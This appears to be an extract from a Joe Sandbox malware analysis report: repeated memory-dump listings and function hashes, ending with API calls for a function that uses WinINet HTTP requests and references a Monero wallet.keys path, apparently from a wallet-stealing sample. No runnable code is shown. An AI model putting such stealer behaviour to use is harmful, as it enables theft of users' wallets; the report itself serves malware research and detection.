Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: IjCo
API String ID: 0-2218911314
Opcode ID: e613ed02e3cf8e9b5c20b578c918a80bc5e72952ca7986dedd6a14ad10f67459
Instruction ID: 8b9b5a7f7440d172e65dcc144a7377704e229c8ce8293fa6f0b6660c42e7da1b
Opcode Fuzzy Hash: e613ed02e3cf8e9b5c20b578c918a80bc5e72952ca7986dedd6a14ad10f67459
Instruction Fuzzy Hash: 70515CB3E082248BE3046E3DDD557BAB796DBC4320F1B463DDA8897B84ED395C0582C6

Function 0126CDD9 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7628d82a813bba666440e4d76fcdae0688bb3d774bab961aaf7200739eb3a0f
Instruction ID: 66e91ec6cac898a0b33c5a9ef87f31d3fd9b350d8b1df9a7868a79b326550be4
Opcode Fuzzy Hash: b7628d82a813bba666440e4d76fcdae0688bb3d774bab961aaf7200739eb3a0f
Instruction Fuzzy Hash: A36136F3A082045BF308AE6DEC45727B7D6EBD4710F2B453DEA88D3784E97968018686

Function 01283A43 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c755a755382f28cd0bef4093c5998a6715126fd247be02da92f25d0931cafcd
Instruction ID: d7052a309a99694f6259339f9991ea2809691ca2535953f1b413c4c82fe64549
Opcode Fuzzy Hash: 8c755a755382f28cd0bef4093c5998a6715126fd247be02da92f25d0931cafcd
Instruction Fuzzy Hash: 9C6104F76086049FE7086E19EC9577EBBE5EFD4320F1A053DD6C583380E63948418696

Function 013268D9 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2cb0c24a4252b76fdfdb257a56f372e173e2bf0242a195229ff4edab2154430
Instruction ID: 77fdd44cf302310e9067225c5389366622b2326a7dae9ff851928d46580cb859
Opcode Fuzzy Hash: d2cb0c24a4252b76fdfdb257a56f372e173e2bf0242a195229ff4edab2154430
Instruction Fuzzy Hash: 12513AF3A085145FF708A93CDD5A77AB7DADBD4720F2A463EE581C7788F97848018292

Function 014818B2 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6c0f0a6b9f2a55ccc5e317b30f6b63ea716855c6e882152ce673c803cc9c7ba
Instruction ID: de3cc22f34372066e4a804190ee0989e35e1098f1c3e3195b5c5582e107ed266
Opcode Fuzzy Hash: f6c0f0a6b9f2a55ccc5e317b30f6b63ea716855c6e882152ce673c803cc9c7ba
Instruction Fuzzy Hash: F851B1B291C314DFD3047E28E80197EFBE8EB54A61F164A2FE9D696620E6354843C793

Function 012B4EB1 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c640b1ff78eaeb4111f9ce71b376f5521d21a715e340079e48205b3dbde973c8
Instruction ID: 39463bc8f07d06afcc461b6a1bae7dc5e1e7089838ee8bea4351c54a3d3fd067
Opcode Fuzzy Hash: c640b1ff78eaeb4111f9ce71b376f5521d21a715e340079e48205b3dbde973c8
Instruction Fuzzy Hash: 9451E6B3E182208BE3145E3CDC9476AB6D6EF94320F2B863DD988A77C4D93D9C054786

Function 01426E86 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a5f5a22fae1005f46a503e0b5b86471ed273f6064ed986491426ad62b7bd58a
Instruction ID: 41a1072f446c037d2f21a97b0c977ce234c60a1548518e54bc3e68b7c887e153
Opcode Fuzzy Hash: 5a5f5a22fae1005f46a503e0b5b86471ed273f6064ed986491426ad62b7bd58a
Instruction Fuzzy Hash: 23314FB251C200DFE305BF29DC85ABEFBE5EF98720F06892DE6C582610D7359441CA47

Function 00FD9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00FC4880 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Part of subcall function 00FC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FC4839
Part of subcall function 00FC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FC4849

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00FC4915
StrCmpCA.SHLWAPI(?,007BE838), ref: 00FC493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FC4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00FE0DDB,00000000,?,?,00000000,?,",00000000,?,007BE808), ref: 00FC4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FC4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00FC4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00FC4E49
InternetCloseHandle.WININET(00000000), ref: 00FC4EAD
InternetCloseHandle.WININET(00000000), ref: 00FC4EC5
HttpOpenRequestA.WININET(00000000,007BE7C8,?,007BE200,00000000,00000000,00400100,00000000), ref: 00FC4B15

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

InternetCloseHandle.WININET(00000000), ref: 00FC4ECF

Strings

------, xrefs: 00FC4C69
", xrefs: 00FC4BF2
", xrefs: 00FC4D33
8{, xrefs: 00FC492F
------, xrefs: 00FC4B28
------, xrefs: 00FC49BD

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$8{
API String ID: 460715078-4139371627
Opcode ID: ed66354e0479e9b060dad0e743818e03afba1f0971460cb9c28e4860ce63464c
Instruction ID: 89840b8b3cd5a547d7b754763b5ab9801f8f3fe4dd2507be378f379a159a9861
Opcode Fuzzy Hash: ed66354e0479e9b060dad0e743818e03afba1f0971460cb9c28e4860ce63464c
